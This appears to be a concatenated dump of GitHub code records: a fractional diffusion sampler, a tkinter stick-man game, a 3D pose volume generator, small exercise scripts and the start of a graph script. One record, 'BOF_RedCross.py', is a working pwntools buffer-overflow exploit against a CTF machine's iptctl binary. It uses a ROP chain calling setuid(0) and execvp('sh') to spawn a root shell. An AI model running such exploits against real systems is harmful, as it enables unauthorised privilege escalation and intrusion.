lambda_s, lambda_t = sde.marginal_lambda(s, scheduled_alpha_s), sde.marginal_lambda(t, scheduled_alpha_t)\n # sigma_s, sigma_t = sde.marginal_std(s, scheduled_alpha_s), sde.marginal_std(t, scheduled_alpha_t)\n log_alpha_s, log_alpha_t = sde.marginal_log_mean_coeff(s), sde.marginal_log_mean_coeff(t)\n lambda_s, lambda_t = sde.marginal_lambda(s), sde.marginal_lambda(t)\n sigma_s, sigma_t = sde.marginal_std(s), sde.marginal_std(t)\n\n if denoise:\n x_coeff = torch.exp(-log_alpha_s)\n noise_coeff = sigma_s * x_coeff\n raise Exception(\"denoise case\")\n else:\n h = lambda_t - lambda_s\n x_coeff = torch.exp(log_alpha_t - log_alpha_s)\n # F_coeff = sigma_t * (torch.expm1(h)) * alpha * torch.pow(sigma_s, alpha-1)\n # F_s = F(x, get_discrete_time(s), h, sigma_s)\n # noise_coeff = sigma_t * (torch.expm1(h)) * torch.pow(sigma_s, scheduled_alpha_s-2) * scheduled_alpha_s * \\\n # gamma_func(alpha_s-1) * gamma_func(3/alpha_s) / torch.pow(gamma_func(alpha_s/2),2) / gamma_func(1/alpha_s)\n noise_coeff = sigma_t / torch.pow(h, alpha-2) * (torch.expm1(h)) * torch.pow(sigma_s, alpha-2) * alpha * \\\n gamma_func(alpha-1) * gamma_func(3/alpha) / torch.pow(gamma_func(alpha/2),2) / gamma_func(1/alpha)\n\n # x_t = x_coeff[:,None,None,None] * x + F_coeff[:,None,None,None] * F_s\n x_t = x_coeff[:,None,None,None] * x - noise_coeff[:,None,None,None] * noise_s\n\n if return_noise:\n return x_t, noise_s\n else:\n return x_t\n\n def ddim_score_update(x, s, t, h, return_noise=False, denoise=False):\n \"\"\"\n input: x_s, s, t\n output: x_t\n \"\"\"\n # scheduled_alpha_s = torch.tensor([2.0 if _s < 0.1 else 1.9 for _s in s]).to(device)\n # scheduled_alpha_t = torch.tensor([2.0 if _t < 0.1 else 1.9 for _t in t]).to(device)\n # alpha_s = scheduled_alpha_s.cpu().clone()\n\n # log_alpha_s, log_alpha_t = sde.marginal_log_mean_coeff(s, scheduled_alpha_s), sde.marginal_log_mean_coeff(t, scheduled_alpha_t)\n # lambda_s, lambda_t = sde.marginal_lambda(s, scheduled_alpha_s), sde.marginal_lambda(t, scheduled_alpha_t)\n # sigma_s, sigma_t = sde.marginal_std(s, scheduled_alpha_s), sde.marginal_std(t, scheduled_alpha_t)\n log_alpha_s, log_alpha_t = sde.marginal_log_mean_coeff(s), sde.marginal_log_mean_coeff(t)\n lambda1_s, lambda2_s = sde.marginal_lambda(s)\n lambda1_t, lambda2_t = sde.marginal_lambda(t)\n sigma1_s, sigma2_s = sde.marginal_std(s)\n sigma1_t, sigma2_t = sde.marginal_std(t)\n\n score_s = model(x, s)\n # print(f\"score : {score_s}\")\n\n if denoise:\n x_coeff = torch.exp(-log_alpha_s)\n noise_coeff = sigma_s * x_coeff\n raise Exception(\"denoise case\")\n else:\n h = torch.tensor(h).to(device)\n h1 = lambda1_t - lambda1_s\n h2 = lambda2_t - lambda2_s\n x_coeff = torch.exp(log_alpha_t - log_alpha_s)\n # F_coeff = sigma_t * (torch.expm1(h)) * alpha * torch.pow(sigma_s, alpha-1)\n # F_s = F(x, get_discrete_time(s), h, sigma_s)\n # noise_coeff = sigma_t * (torch.expm1(h)) * torch.pow(sigma_s, scheduled_alpha_s-2) * scheduled_alpha_s * \\\n # gamma_func(alpha_s-1) * gamma_func(3/alpha_s) / torch.pow(gamma_func(alpha_s/2),2) / gamma_func(1/alpha_s)\n\n # noise_coeff = sigma_t / torch.pow(h, alpha-2) * (torch.expm1(h)) * torch.pow(sigma_s, alpha-2) * alpha * \\\n # gamma_func(alpha-1) * gamma_func(3/alpha) / torch.pow(gamma_func(alpha/2),2) / gamma_func(1/alpha)\n \n coeff1 = sigma1_t * sigma1_s * torch.expm1(h1)\n coeff2 = sigma2_t * torch.pow(sigma2_s, alpha-1) * alpha * torch.expm1(h2) \\\n * gamma_func(alpha-1) / torch.pow(gamma_func(alpha/2),2) / torch.pow(h, alpha-2)\n # score_coeff = coeff1 + coeff2\n score_coeff = coeff2\n\n # x_t = x_coeff[:,None,None,None] * x + F_coeff[:,None,None,None] * F_s\n # x_t = x_coeff[:,None,None,None] * x - noise_coeff[:,None,None,None] * noise_s\n x_t = x_coeff[:,None,None,None] * x + score_coeff[:,None,None,None] * score_s\n\n if return_noise:\n return x_t, score_s\n else:\n return x_t\n \n def sde_score_update(x, s, t, h):\n step_size = torch.abs(t-s)\n score_s = model(x, s)\n h = torch.tensor(h).to(device)\n\n x_coeff = 1 + sde.beta(s) / sde.alpha * step_size\n score_coeff = 2 * sde.beta(s) * step_size * gamma_func(sde.alpha-1) / torch.pow(gamma_func(sde.alpha/2), 2) \\\n / torch.pow(h, sde.alpha-2)\n noise_coeff = torch.pow(sde.beta(s) * step_size, 1 / sde.alpha)\n\n e_L = levy.sample(sde.alpha, 0, x.shape).to(device)\n\n x_t = x_coeff[:, None, None, None] * x + score_coeff[:, None, None, None] * score_s + noise_coeff[:, None, None, None] * e_L\n\n return x_t\n\n\n if method == 'ddim_fast':\n first_steps, timesteps = get_time_steps_for_fast_sampling(N=steps)\n \n with torch.no_grad():\n for i in range(first_steps):\n vec_s, vec_t = torch.ones((x.shape[0],)).to(device) * timesteps[i], torch.ones((x.shape[0],)).to(device) * timesteps[i + 1]\n x = ddim_third_update(x, vec_s, vec_t)\n if steps % 3 == 0:\n vec_s, vec_t = torch.ones(x.shape[0]).to(device) * timesteps[first_steps], torch.ones(x.shape[0]).to(device) * timesteps[first_steps + 1]\n x = ddim_second_update(x, vec_s, vec_t)\n vec_s, vec_t = torch.ones(x.shape[0]).to(device) * timesteps[first_steps + 1], torch.ones(x.shape[0]).to(device) * timesteps[first_steps + 2]\n x = ddim_update(x, vec_s, vec_t)\n elif steps % 3 == 1:\n vec_s, vec_t = torch.ones(x.shape[0]).to(device) * timesteps[first_steps], torch.ones(x.shape[0]).to(device) * timesteps[first_steps + 1]\n x = ddim_update(x, vec_s, vec_t)\n else:\n vec_s, vec_t = torch.ones(x.shape[0]).to(device) * timesteps[first_steps], torch.ones(x.shape[0]).to(device) * timesteps[first_steps + 1]\n x = ddim_second_update(x, vec_s, vec_t)\n elif method == 'dpm_solver_12':\n with torch.no_grad():\n x = dpm_solver_adaptive_12(x)\n elif method == 'dpm_solver_23':\n with torch.no_grad():\n x = dpm_solver_adaptive_23(x)\n else:\n # timesteps length = NFE + 1\n if skip_type == 'logSNR':\n timesteps = get_time_steps_by_logSNR(N=steps)\n elif skip_type == 'time' or skip_type == 'uniform':\n timesteps = torch.linspace(sde.T, eps, steps + 1).to(device)\n elif skip_type == 'quad' or skip_type == 'quadratic':\n timesteps = get_time_steps_by_quadratic(N=steps)\n elif skip_type == 'logSNR_quad':\n timesteps = get_time_steps_by_logSNR_quadratic(N=steps)\n \n with torch.no_grad():\n for i in range(steps):\n print(f\"--------- step : {i}\")\n # vector length = sampling.batch_size\n vec_s, vec_t = torch.ones((x.shape[0],)).to(device) * timesteps[i], torch.ones((x.shape[0],)).to(device) * timesteps[i + 1]\n if method == 'ddim':\n x = ddim_update(x, vec_s, vec_t)\n elif method == 'ddim_levy':\n x = ddim_levy_update(x, vec_s, vec_t)\n elif method == 'ddim_score':\n x = ddim_score_update(x, vec_s, vec_t, h)\n elif method == 'ddim_second':\n x = ddim_second_update(x, vec_s, vec_t)\n elif method == 'ddim_third':\n x = ddim_third_update(x, vec_s, vec_t)\n elif method == 'pc_score':\n step_size = timesteps[0] - timesteps[1]\n if Corrector:\n for j in range(LM_score):\n grad = model(x, vec_t)\n e_L = levy.sample(sde.alpha, 0, x.shape).to(device)\n\n x = x + step_size * gamma_func(sde.alpha-1) / (gamma_func(sde.alpha/2)**2) \\\n * grad + torch.pow(step_size, 1/sde.alpha) * e_L\n if Predictor:\n x = sde_score_update(x, vec_s, vec_t, h)\n \n return x\n","repo_name":"eunbi1/fractional","sub_path":"functions/sampler.py","file_name":"sampler.py","file_ext":"py","file_size_in_byte":19050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"30146866679","text":"from tkinter import *\nimport random\nimport time\n\n#create canvas and title\nclass Game:\n \n def __init__(self):\n self.tk = Tk()\n self.tk.title(\"Mr. Stick Man Races for the Exit\")\n self.tk.resizable(0,0)\n self.tk.wm_attributes(\"-topmost\", 1)\n self.canvas = Canvas(self.tk, width=500, height=500, highlightthickness=0)\n self.canvas.pack()\n self.tk.update()\n self.canvas_height = 500\n self.canvas_width = 500\n self.bg = PhotoImage(file=\"roles/background.gif\")\n self.bg2 = PhotoImage(file=\"roles/background2.gif\")\n w = self.bg.width()\n h = self.bg.height()\n draw = 0\n for x in range(0,5):\n for y in range(0,5):\n if draw == 1:\n self.canvas.create_image(x*w, y*h, image=self.bg, anchor=\"nw\")\n draw = 0\n else:\n self.canvas.create_image(x*w, y*h, image=self.bg2, anchor=\"nw\")\n draw = 1\n self.sprites = []\n self.running = True\n self.win_text = self.canvas.create_text(150, 45, text='You Win!', state='hidden')\n\n def mainloop(self):\n while 1:\n if self.running == True:\n for sprite in self.sprites:\n sprite.move()\n else:\n time.sleep(1)\n self.canvas.itemconfig(self.win_text, state='normal')\n self.tk.update_idletasks()\n self.tk.update()\n time.sleep(0.01)\n\nclass Coords:\n\n def __init__(self, x1=0, y1=0, x2=0, y2=0):\n self.x1 = x1\n self.y1 = y1\n self.x2 = x2\n self.y2 = y2\n\nclass Sprite:\n \n def __init__(self, game):\n self.game = game\n self.endgame = False\n self.coordinates = None\n\n def move(self):\n pass\n\n def coords(self):\n return self.coordinates\n\nclass PlatformSprite(Sprite):\n \n def __init__(self, game, photo_image, x, y, width, height):\n Sprite.__init__(self, game)\n self.photo_image = photo_image\n self.image = game.canvas.create_image(x, y, image=self.photo_image, anchor='nw')\n self.coordinates = Coords(x, y, x+width, y+height)\n\nclass StickManSprite(Sprite):\n \n def __init__(self, game):\n Sprite.__init__(self, game)\n self.image_left = [PhotoImage(file=\"roles/stickman_L1.gif\"),\n PhotoImage(file=\"roles/stickman_L2.gif\"),\n PhotoImage(file=\"roles/stickman_L3.gif\")]\n self.image_right = [PhotoImage(file=\"roles/stickman_R1.gif\"),\n PhotoImage(file=\"roles/stickman_R2.gif\"),\n PhotoImage(file=\"roles/stickman_R3.gif\")]\n self.image = game.canvas.create_image(200, 470, image=self.image_left[0], anchor='nw')\n # increase x,y for every step\n self.x = -2\n self.y = 0\n # index of current image\n self.current_image = 0\n # index of next image\n self.current_image_add = 1\n self.jump_count = 0\n # the time that we move thr stick man the last time\n self.last_time = time.time()\n self.coordinates = Coords()\n game.canvas.bind_all('', self.turn_left)\n game.canvas.bind_all('', self.turn_right)\n game.canvas.bind_all('', self.jump)\n\n def turn_left(self, evt):\n if self.y == 0:\n self.x = -2\n\n def turn_right(self, evt):\n if self.y == 0:\n self.x = 2\n\n def jump(self, evt):\n if self.y == 0:\n self.y = -4\n self.jump_count = 0\n\n # juge way of move and change image\n def animate(self):\n # if the stick man move or jump\n if self.x !=0 and self.y == 0:\n # if draw next image\n if time.time() - self.last_time > 0.1:\n # recount time\n self.last_time = time.time()\n self.current_image += self.current_image_add\n if self.current_image >= 2:\n self.current_image_add = -1\n if self.current_image <= 0:\n self.current_image_add = 1\n if self.x < 0:\n if self.y != 0:\n self.game.canvas.itemconfig(self.image, image=self.image_left[2])\n else:\n self.game.canvas.itemconfig(self.image, image=self.image_left[self.current_image])\n elif self.x > 0:\n if self.y != 0:\n self.game.canvas.itemconfig(self.image, image=self.image_right[2])\n else:\n self.game.canvas.itemconfig(self.image, image=self.image_right[self.current_image])\n\n def coords(self):\n xy = list(self.game.canvas.coords(self.image))\n self.coordinates.x1 = xy[0]\n self.coordinates.y1 = xy[1]\n self.coordinates.x2 = xy[0] + 27\n self.coordinates.y2 = xy[1] + 30\n return self.coordinates\n\n def move(self):\n self.animate()\n # is jumping\n if self.y < 0:\n self.jump_count += 1\n if self.jump_count > 20:\n self.y = 4\n # is falling\n if self.y > 0:\n self.jump_count -= 1\n co = self.coords()\n left = True\n right = True\n top = True\n bottom = True\n falling = True\n # fall down the bottom of the canvas\n if self.y > 0 and co.y2 >= self.game.canvas_height:\n self.y = 0\n bottom = False\n # jump to the top of canvas\n elif self.y < 0 and co.y1 <= 0:\n self.y = 0\n top = False\n # collid left or right\n if self.x > 0 and co.x2 >= self.game.canvas_width:\n self.x = 0\n right = False\n elif self.x < 0 and co.x1 <= 0:\n self.x = 0\n left = False\n # collid to other sprites\n for sprite in self.game.sprites:\n if sprite == self:\n continue\n sprite_co = sprite.coords()\n # not top and is jumping and stick man collid sprite by top\n if top and self.y < 0 and collided_top(co, sprite_co):\n self.y = -self.y\n top = False\n if bottom and self.y > 0 and collided_bottom(self.y, co, sprite_co):\n self.y = sprite_co.y1 - co.y2\n if self.y < 0:\n self.y = 0\n bottom = False\n top = False\n if bottom and falling and self.y == 0 and co.y2 < self.game.canvas_height and collided_bottom(1, co, sprite_co):\n falling = False\n if left and self.x < 0 and collided_left(co, sprite_co):\n self.x = 0\n left = False\n if sprite.endgame:\n self.win(sprite)\n if right and self.x > 0 and collided_right(co, sprite_co):\n self.x = 0\n right = False\n if sprite.endgame:\n self.win(sprite)\n if falling and bottom and self.y == 0 and co.y2 < self.game.canvas_height:\n self.y = 4\n self.game.canvas.move(self.image, self.x, self.y)\n\n def win(self, sprite):\n self.game.running = False\n sprite.opendoor()\n time.sleep(1)\n self.game.canvas.itemconfig(self.image, state='hidden')\n sprite.closedoor()\n\nclass DoorSprite(Sprite):\n \n def __init__(self, game, x, y, width, height):\n Sprite.__init__(self, game)\n self.close_door = PhotoImage(file=\"roles/door1.gif\")\n self.open_door = PhotoImage(file=\"roles/door2.gif\")\n self.image = game.canvas.create_image(x, y, image=self.close_door, anchor='nw')\n self.coordinates = Coords(x, y, x+width/2, y+height)\n self.endgame = True\n\n def opendoor(self):\n self.game.canvas.itemconfig(self.image, image=self.open_door)\n self.game.tk.update_idletasks()\n\n def closedoor(self):\n self.game.canvas.itemconfig(self.image, image=self.close_door)\n self.game.tk.update_idletasks() \n \n\n#if two sprites have the same part on x\ndef within_x(co1, co2):\n if (co1.x1 > co2.x1 and co1.x1 < co2.x2) \\\n or (co1.x2 > co2.x1 and co1.x2 < co2.x2) \\\n or (co2.x1 > co1.x1 and co2.x1 < co1.x2) \\\n or (co2.x2 > co1.x1 and co2.x2 < co1.x1):\n return True\n else: \n return False\n\n#if two sprites have the same part on y \ndef within_y(co1, co2):\n if (co1.y1 > co2.y1 and co1.y1 < co2.y2) \\\n or (co1.y2 > co2.y1 and co1.y2 < co2.y2) \\\n or (co2.y1 > co1.y1 and co2.y1 < co1.y2) \\\n or (co2.y2 > co1.y1 and co2.y2 < co1.y1):\n return True\n else: \n return False\n\ndef collided_left(co1, co2):\n if within_y(co1, co2):\n if co1.x1 <= co2.x2 and co1.x1 >= co2.x1:\n return True\n return False\n\ndef collided_right(co1, co2):\n if within_y(co1, co2):\n if co1.x2 >= co2.x1 and co1.x2 <= co2.x2:\n return True\n return False\n\ndef collided_top(co1, co2):\n if within_x(co1, co2):\n if co1.y1 <= co2.y2 and co1.y1 >= co2.y1:\n return True\n return False\n\ndef collided_bottom(y, co1, co2):\n if within_x(co1, co2):\n y_calc = co1.y2 + y\n if y_calc >= co2.y1 and y_calc <= co2.y2:\n return True\n return False\n\ng = Game()\n\nplatform1 = PlatformSprite(g, PhotoImage(file=\"roles/platform1.gif\"), 0, 480, 100, 10)\nplatform2 = PlatformSprite(g, PhotoImage(file=\"roles/platform1.gif\"), 150, 440, 100, 10)\nplatform3 = PlatformSprite(g, PhotoImage(file=\"roles/platform1.gif\"), 300, 400, 100, 10)\nplatform4 = PlatformSprite(g, PhotoImage(file=\"roles/platform1.gif\"), 300, 160, 100, 10)\nplatform5 = PlatformSprite(g, PhotoImage(file=\"roles/platform2.gif\"), 175, 350, 66, 10)\nplatform6 = PlatformSprite(g, PhotoImage(file=\"roles/platform2.gif\"), 50, 300, 66, 10)\nplatform7 = PlatformSprite(g, PhotoImage(file=\"roles/platform2.gif\"), 170, 120, 66, 10)\nplatform8 = PlatformSprite(g, PhotoImage(file=\"roles/platform2.gif\"), 45, 60, 66, 10)\nplatform9 = PlatformSprite(g, PhotoImage(file=\"roles/platform2.gif\"), 380, 280, 66, 10)\nplatform10 = PlatformSprite(g, PhotoImage(file=\"roles/platform3.gif\"), 230, 200, 32, 10)\nplatform11 = PlatformSprite(g, PhotoImage(file=\"roles/platform3.gif\"), 170, 250, 32, 10)\ng.sprites.append(platform1)\ng.sprites.append(platform2)\ng.sprites.append(platform3)\ng.sprites.append(platform4)\ng.sprites.append(platform5)\ng.sprites.append(platform6)\ng.sprites.append(platform7)\ng.sprites.append(platform8)\ng.sprites.append(platform9)\ng.sprites.append(platform10)\ng.sprites.append(platform11)\n\ndoor = DoorSprite(g, 45, 30, 40, 35)\ng.sprites.append(door)\n\ns =StickManSprite(g)\ng.sprites.append(s)\n\ng.mainloop()","repo_name":"WangYuw/A-stick-man","sub_path":"stickman.py","file_name":"stickman.py","file_ext":"py","file_size_in_byte":10758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"34316399083","text":"from utils import volumetric, multiview\nfrom utils.multiview import triangulate_point_from_multiple_views_linear_torch\n\nimport torch\nimport torch.nn as nn\nfrom torch.nn import functional as F\nimport numpy as np\n\nimport random\nfrom copy import deepcopy\n\n\n\"\"\"\nThis Code is mainly referred to the paper \nIskakov et al, 'Learnable Triangulation for Human Pose'\nplease refer to the original code at https://github.com/karfly/learnable-triangulation-pytorch\n\"\"\"\n\n\ndef unprojection(features, proj_matricies, coord_volumes, aggregation_method='softmax'):\n device = features.device\n batch_size, n_views, dim_features = features.shape[:3]\n feature_shape = tuple(features.shape[3:])\n volume_shape = coord_volumes.shape[1:4]\n volume_batch = torch.zeros(batch_size, dim_features, *volume_shape, device=device)\n\n # TODO: speed up this this loop\n for b in range(batch_size):\n coord_volume = coord_volumes[b]\n grid_coord = coord_volume.reshape((-1, 3))\n\n volume_batch_to_aggregate = torch.zeros(n_views, dim_features, *volume_shape, device=device)\n\n for v in range(n_views):\n feature = features[b, v]\n feature = feature.unsqueeze(0)\n\n grid_coord_proj = multiview.project_3d_points_to_image_plane_without_distortion(\n proj_matricies[b, v], grid_coord, convert_back_to_euclidean=False\n )\n\n invalid_mask = grid_coord_proj[:, 2] <= 0.0 # depth must be larger than 0.0\n\n grid_coord_proj[grid_coord_proj[:, 2] == 0.0, 2] = 1.0 # not to divide by zero\n grid_coord_proj = multiview.homogeneous_to_euclidean(grid_coord_proj)\n\n # transform to [-1.0, 1.0] range\n grid_coord_proj_transformed = torch.zeros_like(grid_coord_proj)\n grid_coord_proj_transformed[:, 0] = 2 * (grid_coord_proj[:, 0] / feature_shape[0] - 0.5)\n grid_coord_proj_transformed[:, 1] = 2 * (grid_coord_proj[:, 1] / feature_shape[1] - 0.5)\n grid_coord_proj = grid_coord_proj_transformed\n\n # prepare to F.grid_sample\n grid_coord_proj = grid_coord_proj.unsqueeze(1).unsqueeze(0)\n try:\n current_volume = F.grid_sample(feature, grid_coord_proj, align_corners=True)\n except TypeError: # old PyTorch\n current_volume = F.grid_sample(feature, grid_coord_proj)\n\n # zero out non-valid points\n current_volume = current_volume.view(dim_features, -1)\n current_volume[:, invalid_mask] = 0.0\n\n # reshape back to volume\n current_volume = current_volume.view(dim_features, *volume_shape)\n\n # collect\n volume_batch_to_aggregate[v] = current_volume\n\n # agregate resulting volume\n if aggregation_method == 'sum':\n volume_batch[b] = volume_batch_to_aggregate.sum(0)\n elif aggregation_method == 'mean':\n volume_batch[b] = volume_batch_to_aggregate.mean(0)\n elif aggregation_method == 'max':\n volume_batch[b] = volume_batch_to_aggregate.max(0)[0]\n elif aggregation_method == 'softmax':\n volume_batch_to_aggregate_softmin = volume_batch_to_aggregate.clone()\n volume_batch_to_aggregate_softmin = volume_batch_to_aggregate_softmin.view(n_views, -1)\n volume_batch_to_aggregate_softmin = F.softmax(volume_batch_to_aggregate_softmin, dim=0)\n volume_batch_to_aggregate_softmin = volume_batch_to_aggregate_softmin.view(n_views, dim_features, *volume_shape)\n\n volume_batch[b] = (volume_batch_to_aggregate * volume_batch_to_aggregate_softmin).sum(0)\n else:\n raise ValueError(\"Unknown aggregation_method: {}\".format(aggregation_method))\n\n return volume_batch\n\n\nclass VolumeGenerator(nn.Module):\n def __init__(self,\n volume_size=64,\n input_channels=256,\n output_channels=32,\n cuboid_side=2500.0,\n aggregation_method='softmax',\n use_triangulation=False,\n kind='mpii',\n device='cuda',\n dataset='human36m',\n **kwargs):\n super(VolumeGenerator, self).__init__()\n\n self.volume_size = volume_size\n self.cuboid_side = cuboid_side\n self.aggregation_method = aggregation_method\n\n self.process_feature = nn.Sequential(\n nn.Conv2d(input_channels, output_channels, 1)\n )\n\n self.use_triangulation = use_triangulation\n self.kind = kind\n self.dataset = dataset\n\n self.to(device)\n\n\n def forward(self, features, proj_matricies, batch, use_gt=True):\n features_shape = tuple(features.shape[-2:])\n images_shape = tuple(batch['images'].shape[2:-1])\n batch_size, n_views = batch['images'].shape[:2]\n device = features.device\n proj_matricies_org = proj_matricies.clone()\n\n # Update camera configs\n new_cameras = deepcopy(batch['cameras'])\n for v in range(n_views):\n for b in range(batch_size):\n new_cameras[v][b].update_after_resize(images_shape, features_shape)\n\n proj_matricies = torch.stack([torch.stack([torch.from_numpy(camera.projection) for camera in camera_batch], dim=0) for camera_batch in new_cameras], dim=0).transpose(1, 0)\n proj_matricies = proj_matricies.float().to(device)\n\n cuboids = []\n coord_volumes = torch.zeros(batch_size, self.volume_size, self.volume_size, self.volume_size, 3, device=device)\n\n for b in range(batch_size):\n\n base_point = np.array([0, 0, 0])\n \n # build cuboid\n sides = np.array([self.cuboid_side, self.cuboid_side, self.cuboid_side])\n position = base_point - sides / 2\n\n cuboid = volumetric.Cuboid3D(position, sides)\n cuboids.append(cuboid)\n\n # build coord volume\n xxx, yyy, zzz = torch.meshgrid(torch.arange(self.volume_size, device=device), \n torch.arange(self.volume_size, device=device), \n torch.arange(self.volume_size, device=device))\n grid = torch.stack([xxx, yyy, zzz], dim=-1).type(torch.float)\n grid = grid.reshape((-1, 3))\n\n grid_coord = torch.zeros_like(grid)\n grid_coord[:, 0] = position[0] + (sides[0] / (self.volume_size - 1)) * grid[:, 0]\n grid_coord[:, 1] = position[1] + (sides[1] / (self.volume_size - 1)) * grid[:, 1]\n grid_coord[:, 2] = position[2] + (sides[2] / (self.volume_size - 1)) * grid[:, 2]\n\n coord_volume = grid_coord.reshape(self.volume_size, self.volume_size, self.volume_size, 3)\n\n # random rotation\n if self.training:\n theta = np.random.uniform(0.0, 2 * np.pi)\n else:\n theta = 0.0\n\n if self.kind == \"coco\":\n axis = [0, 1, 0] # y axis\n elif self.kind == \"mpii\":\n axis = [0, 0, 1] # z axis\n\n if self.use_triangulation:\n images_center = torch.tensor(images_shape)/2\n images_center = images_center.expand(n_views, 2).to(device=device)\n center = triangulate_point_from_multiple_views_linear_torch(proj_matricies_org[b], images_center)\n\n else:\n base_point = batch['keypoints_3d'][b][6, :3]\n center = torch.from_numpy(base_point).type(torch.float).to(device)\n\n # rotate\n coord_volume = coord_volume - center\n coord_volume = volumetric.rotate_coord_volume(coord_volume, theta, axis)\n coord_volume = coord_volume + center\n coord_volumes[b] = coord_volume\n\n features = features.view(-1, *features.shape[2:])\n features = self.process_feature(features)\n features = features.view(batch_size, n_views, *features.shape[1:])\n \n volumes = unprojection(features, proj_matricies, coord_volumes, aggregation_method=self.aggregation_method)\n \n return volumes\n\n\ndef build_volume_generator(cfg):\n input_channels = cfg.MODEL.BACKBONE.DECONV_FILTERS[-1] if cfg.MODEL.BACKBONE.DECONV_LAYERS != 0 else 2048\n\n return VolumeGenerator(volume_size=cfg.MODEL.AGGREGATION.VOLUME_SIZE,\n input_channels=input_channels,\n output_channels=cfg.MODEL.AGGREGATION.OUTPUT_CHANNELS,\n cuboid_side=cfg.MODEL.AGGREGATION.CUBOID_SIDE,\n use_triangulation=cfg.MODEL.AGGREGATION.USE_TRIANGULATION,\n kind=cfg.DATASET.KIND,\n dataset=cfg.DATASET.TYPE,\n volume_aggregation_method=cfg.MODEL.AGGREGATION.METHOD)","repo_name":"yohanshin/MultiviewHMR","sub_path":"models/aggregation.py","file_name":"aggregation.py","file_ext":"py","file_size_in_byte":8828,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"68"} +{"seq_id":"7406671924","text":"import argparse\nimport logging\n\nlogging.basicConfig(level=logging.INFO, filename='TriangleCreate.log', encoding='utf-8')\nlogging.error('')\nlogger = logging.getLogger(__name__)\n\n\ndef check_triangle(a, b ,c):\n if (a+b) > c and (a+c) > b and (b+c) > a:\n if a == b == c:\n logger.info(f'Создан равносторонний треугольник со сторонами {a} , {b} и {c}')\n return \"Треугольник равносторонний\"\n elif a == b or a == c or b == c:\n logger.info(f'Создан равнобедренный треугольник со сторонами {a} , {b} и {c}')\n return \"Треугольник равнобедренный\"\n else:\n logger.info(f'Создан разносторонний треугольник со сторонами {a} , {b} и {c}')\n return \"Треугольник разносторонний\"\n else:\n logger.error(f'Треугольника со ст��ронами {a} , {b} и {c} не существует')\n return f'Треугольника со сторонами {a} , {b} и {c} не существует'\n\n\ndef parser_func():\n parser = argparse.ArgumentParser(description='Получаем стороны треугольника из строки')\n parser.add_argument('--sideA')\n parser.add_argument('--sideB')\n parser.add_argument('--sideC')\n args = parser.parse_args()\n\n a = int(args.sideA)\n b = int(args.sideB)\n c = int(args.sideC)\n return check_triangle(a, b, c)\n\n\nif __name__ == '__main__':\n print(parser_func())","repo_name":"PolinaBrag/PythonCourse","sub_path":"Seminar_15/HomeWork15/Task2.py","file_name":"Task2.py","file_ext":"py","file_size_in_byte":1635,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"17887463366","text":"class Solution(object):\n def moveZeroes(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: None Do not return anything, modify nums in-place instead.\n \"\"\"\n slowIndex = 0\n for fastIndex in range(len(nums)):\n if (nums[fastIndex] != 0):\n nums[slowIndex] = nums[fastIndex]\n slowIndex += 1\n for i in range(slowIndex, fastIndex + 1):\n nums[i] = 0\n\n\n","repo_name":"RuxueJ/leetcode_python","sub_path":"283_moveZeros.py","file_name":"283_moveZeros.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"28865197420","text":"import sys\nimport signal\nfrom pwn import *\n\ndef def_handler(sig, frame):\n print(\"\\n[!] Saliendo...\\n\")\n sys.exit(1)\n\nsignal.signal(signal.SIGINT, def_handler)\n\nif __name__ == \"__main__\":\n \n offset = 29\n junk = b\"allow\" + b\"A\"*offset\n\n # payload = junk + pop_rdi + sh_address + pop_rsi + null + null + execvp()\n\n# ropper --file iptctl --search \"pop rdi\"\n# Load gadgets for section: LOAD\n# [LOAD] loading... 100%\n# [LOAD] removing double gadgets... 100%\n# [INFO] Searching for gadgets: pop rdi\n\n# [INFO] File: iptctl\n# 0x0000000000400de3: pop rdi; ret; \n pop_rdi = p64(0x400de3)\n\n# gef➤ grep \"sh\"\n# [+] Searching 'sh' in memory\n# [+] In '/home/sexcott/Desktop/Machines/RedCross/content/iptctl'(0x400000-0x402000), permission=r-x\n# 0x40046e - 0x400470 → \"sh\" \n\n sh_address = p64(0x40046e)\n\n# ropper --file iptctl --search \"pop rsi\"\n# [INFO] Load gadgets from cache\n# [LOAD] loading... 100%\n# [LOAD] removing double gadgets... 100%\n# [INFO] Searching for gadgets: pop rsi\n\n# [INFO] File: iptctl\n# 0x0000000000400de1: pop rsi; pop r15; ret; \n \n pop_rsi = p64(0x400de1)\n\n# objdump -D iptctl | grep \"execvp\"\n# 0000000000400760 :\n# 400760:\tff 25 f2 18 20 00 \tjmp *0x2018f2(%rip) # 602058 \n# 400d13:\te8 48 fa ff ff \tcall 400760 \n\n execvp = p64(0x400760) \n\n#objdump -D iptctl | grep \"setuid\"\n#0000000000400780 :\n # 400780:\tff 25 e2 18 20 00 \tjmp *0x2018e2(%rip) # 602068 \n# 400d00:\te8 7b fa ff ff \tcall 400780 \n\n setuid = p64(0x400780)\n\n\n payload = junk\n payload += pop_rdi \n payload += p64(0x0)\n payload += setuid\n payload += pop_rdi\n payload += sh_address\n payload += pop_rsi\n payload += p64(0x0)\n payload += p64(0x0)\n payload += execvp\n payload += b\"\\n1.1.1.1\\n\"\n\n try:\n p = remote(\"10.10.10.113\", 9004)\n except Exception as e:\n log.error(e)\n \n p.sendline(payload)\n p.interactive()\n","repo_name":"sexcott/HackingScripts","sub_path":"python-tools/BOF_RedCross.py","file_name":"BOF_RedCross.py","file_ext":"py","file_size_in_byte":2019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"1206375377","text":"import algorithm\nimport json\n\n\nif __name__ == '__main__':\n\n data = json.load(open('data.json','r'))\n distances = data['distances']\n requests = data['requests']\n vehicles = data['vehicles']\n\n # Iterating over all the items in vehicles and initializing the availability for each one to TRUE\n for vehicle in vehicles:\n vehicle['available'] = True\n\n # Creating an object of algorithm class\n zipexist = algorithm.Graph()\n\n # Iterating over all the elements in distances variable and adding vertices/nodes/points it to graph\n for distance in distances:\n # adding zipcodes depending on whether they exist or not in object\n if not distance['zipcode1'] in zipexist.get_vertices():\n 